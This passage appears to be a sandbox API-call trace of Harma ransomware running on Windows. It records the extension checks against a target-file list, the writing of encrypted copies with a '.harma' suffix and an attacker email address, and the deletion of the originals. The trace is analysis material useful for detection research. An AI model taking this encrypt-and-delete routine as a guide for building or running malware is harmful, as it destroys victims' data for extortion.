(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0137.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0137.205] lstrlenW (lpString=".doc") returned 4 [0137.205] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.205] lstrlenW (lpString=".docx") returned 5 [0137.205] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.205] lstrlenW (lpString=".pdf") returned 4 [0137.205] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.205] lstrlenW (lpString=".xls") returned 4 [0137.205] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.205] lstrlenW (lpString=".xlsx") returned 5 [0137.205] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.205] lstrlenW (lpString=".ppt") returned 4 [0137.205] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0137.205] lstrlenW (lpString=".zip") returned 4 [0137.206] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.206] lstrlenW (lpString=".rar") returned 4 [0137.206] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.206] lstrlenW (lpString=".bz2") returned 4 [0137.206] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.206] lstrlenW (lpString=".7z") returned 3 [0137.206] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0137.206] lstrlenW (lpString=".dbf") returned 4 [0137.206] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0137.206] lstrlenW (lpString=".1cd") returned 4 [0137.206] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0137.206] lstrlenW (lpString=".jpg") returned 4 [0137.206] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0137.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0137.207] lstrlenW (lpString=".doc") returned 4 [0137.207] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.207] lstrlenW (lpString=".docx") returned 5 [0137.207] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.207] lstrlenW (lpString=".pdf") returned 4 [0137.207] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.207] lstrlenW (lpString=".xls") returned 4 [0137.207] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.207] lstrlenW (lpString=".xlsx") returned 5 [0137.207] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.207] lstrlenW (lpString=".ppt") returned 4 [0137.207] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0137.207] lstrlenW (lpString=".zip") returned 4 [0137.208] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.208] lstrlenW (lpString=".rar") returned 4 [0137.208] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.208] lstrlenW (lpString=".bz2") returned 4 [0137.208] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.208] lstrlenW (lpString=".7z") returned 3 [0137.208] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0137.208] lstrlenW (lpString=".dbf") returned 4 [0137.208] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0137.208] lstrlenW (lpString=".1cd") returned 4 [0137.208] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0137.208] lstrlenW (lpString=".jpg") returned 4 [0137.208] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.208] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0137.208] lstrlenW (lpString="EXPLR_01.MID") returned 12 [0137.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0137.209] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=10562) returned 1 [0137.209] CloseHandle (hObject=0x214) returned 1 [0137.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 0x20 [0137.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0137.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0137.210] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.210] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0137.211] GetLastError () returned 0x0 [0137.211] ReadFile (in: hFile=0x214, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x2942, lpOverlapped=0x0) returned 1 [0137.371] WriteFile (in: hFile=0x340, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x2950, lpOverlapped=0x0) returned 1 [0137.372] ReadFile (in: hFile=0x214, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0137.373] WriteFile (in: hFile=0x340, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.373] SetEndOfFile (hFile=0x340) returned 1 [0137.551] CloseHandle (hObject=0x340) returned 1 [0137.588] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.588] SetEndOfFile (hFile=0x214) returned 1 [0137.592] CloseHandle (hObject=0x214) returned 1 [0137.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0138.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0138.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0138.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0138.817] lstrlenW (lpString=".doc") returned 4 [0138.817] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0138.817] lstrlenW (lpString=".docx") returned 5 [0138.817] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0138.817] lstrlenW (lpString=".pdf") returned 4 [0138.817] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0138.817] lstrlenW (lpString=".xls") returned 4 [0138.817] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0138.817] lstrlenW (lpString=".xlsx") returned 5 [0138.817] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0138.817] lstrlenW (lpString=".ppt") returned 4 [0138.817] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0138.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0138.818] lstrlenW (lpString=".zip") returned 4 [0138.818] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0138.818] lstrlenW (lpString=".rar") returned 4 [0138.818] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0138.818] lstrlenW (lpString=".bz2") returned 4 [0138.818] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0138.818] lstrlenW (lpString=".7z") returned 3 [0138.818] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0138.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0138.818] lstrlenW (lpString=".dbf") returned 4 [0138.818] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0138.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0138.818] lstrlenW (lpString=".1cd") returned 4 [0138.818] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0138.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0138.818] lstrlenW (lpString=".jpg") returned 4 [0138.818] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0138.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0138.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0138.818] lstrlenW (lpString=".doc") returned 4 [0138.818] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0138.818] lstrlenW (lpString=".docx") returned 5 [0138.818] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0138.818] lstrlenW (lpString=".pdf") returned 4 [0138.818] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0138.818] lstrlenW (lpString=".xls") returned 4 [0138.818] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0138.818] lstrlenW (lpString=".xlsx") returned 5 [0138.818] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0138.818] lstrlenW (lpString=".ppt") returned 4 [0138.818] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0138.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0138.819] lstrlenW (lpString=".zip") returned 4 [0138.819] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0138.819] lstrlenW (lpString=".rar") returned 4 [0138.819] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0138.819] lstrlenW (lpString=".bz2") returned 4 [0138.819] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0138.819] lstrlenW (lpString=".7z") returned 3 [0138.819] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0138.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0138.819] lstrlenW (lpString=".dbf") returned 4 [0138.819] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0138.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0138.819] lstrlenW (lpString=".1cd") returned 4 [0138.819] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0138.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0138.819] lstrlenW (lpString=".jpg") returned 4 [0138.819] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0138.819] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0138.819] lstrlenW (lpString="FALL_01.MID") returned 11 [0138.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0139.732] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=4846) returned 1 [0139.732] CloseHandle (hObject=0x33c) returned 1 [0139.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 0x20 [0140.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0140.278] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.278] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0140.301] GetLastError () returned 0x0 [0140.301] ReadFile (in: hFile=0x210, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x12ee, lpOverlapped=0x0) returned 1 [0140.327] WriteFile (in: hFile=0x328, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x12f0, lpOverlapped=0x0) returned 1 [0140.328] ReadFile (in: hFile=0x210, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.328] WriteFile (in: hFile=0x328, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0140.328] SetEndOfFile (hFile=0x328) returned 1 [0140.337] CloseHandle (hObject=0x328) returned 1 [0140.340] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.340] SetEndOfFile (hFile=0x210) returned 1 [0140.343] CloseHandle (hObject=0x210) returned 1 [0140.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0140.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0140.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0140.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0140.355] lstrlenW (lpString=".doc") returned 4 [0140.355] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0140.355] lstrlenW (lpString=".docx") returned 5 [0140.355] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0140.355] lstrlenW (lpString=".pdf") returned 4 [0140.355] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0140.355] lstrlenW (lpString=".xls") returned 4 [0140.355] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0140.355] lstrlenW (lpString=".xlsx") returned 5 [0140.355] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0140.355] lstrlenW (lpString=".ppt") returned 4 [0140.355] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0140.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0140.355] lstrlenW (lpString=".zip") returned 4 [0140.355] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0140.355] lstrlenW (lpString=".rar") returned 4 [0140.355] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0140.355] lstrlenW (lpString=".bz2") returned 4 [0140.355] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0140.355] lstrlenW (lpString=".7z") returned 3 [0140.355] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0140.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0140.355] lstrlenW (lpString=".dbf") returned 4 [0140.355] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0140.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0140.356] lstrlenW (lpString=".1cd") returned 4 [0140.356] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0140.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0140.356] lstrlenW (lpString=".jpg") returned 4 [0140.356] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0140.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0140.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0140.356] lstrlenW (lpString=".doc") returned 4 [0140.356] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0140.356] lstrlenW (lpString=".docx") returned 5 [0140.356] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0140.356] lstrlenW (lpString=".pdf") returned 4 [0140.356] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0140.356] lstrlenW (lpString=".xls") returned 4 [0140.356] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0140.356] lstrlenW (lpString=".xlsx") returned 5 [0140.356] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0140.356] lstrlenW (lpString=".ppt") returned 4 [0140.356] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0140.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0140.356] lstrlenW (lpString=".zip") returned 4 [0140.356] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0140.356] lstrlenW (lpString=".rar") returned 4 [0140.356] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0140.356] lstrlenW (lpString=".bz2") returned 4 [0140.356] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0140.356] lstrlenW (lpString=".7z") returned 3 [0140.356] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0140.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0140.356] lstrlenW (lpString=".dbf") returned 4 [0140.356] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0140.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0140.357] lstrlenW (lpString=".1cd") returned 4 [0140.357] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0140.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0140.357] lstrlenW (lpString=".jpg") returned 4 [0140.357] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0140.357] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0140.357] lstrlenW (lpString="INDST_01.MID") returned 12 [0140.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0140.358] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=8568) returned 1 [0140.358] CloseHandle (hObject=0x354) returned 1 [0140.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 0x20 [0140.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0140.359] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.359] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0140.359] GetLastError () returned 0x0 [0140.359] ReadFile (in: hFile=0x354, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x2178, lpOverlapped=0x0) returned 1 [0140.361] WriteFile (in: hFile=0x338, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x2180, lpOverlapped=0x0) returned 1 [0140.363] ReadFile (in: hFile=0x354, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.363] WriteFile (in: hFile=0x338, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.363] SetEndOfFile (hFile=0x338) returned 1 [0140.363] CloseHandle (hObject=0x338) returned 1 [0140.363] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.363] SetEndOfFile (hFile=0x354) returned 1 [0140.366] CloseHandle (hObject=0x354) returned 1 [0140.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0140.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0140.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0140.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0140.367] lstrlenW (lpString=".doc") returned 4 [0140.367] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0140.367] lstrlenW (lpString=".docx") returned 5 [0140.367] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0140.367] lstrlenW (lpString=".pdf") returned 4 [0140.367] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0140.367] lstrlenW (lpString=".xls") returned 4 [0140.367] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0140.367] lstrlenW (lpString=".xlsx") returned 5 [0140.367] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0140.367] lstrlenW (lpString=".ppt") returned 4 [0140.367] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0140.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0140.367] lstrlenW 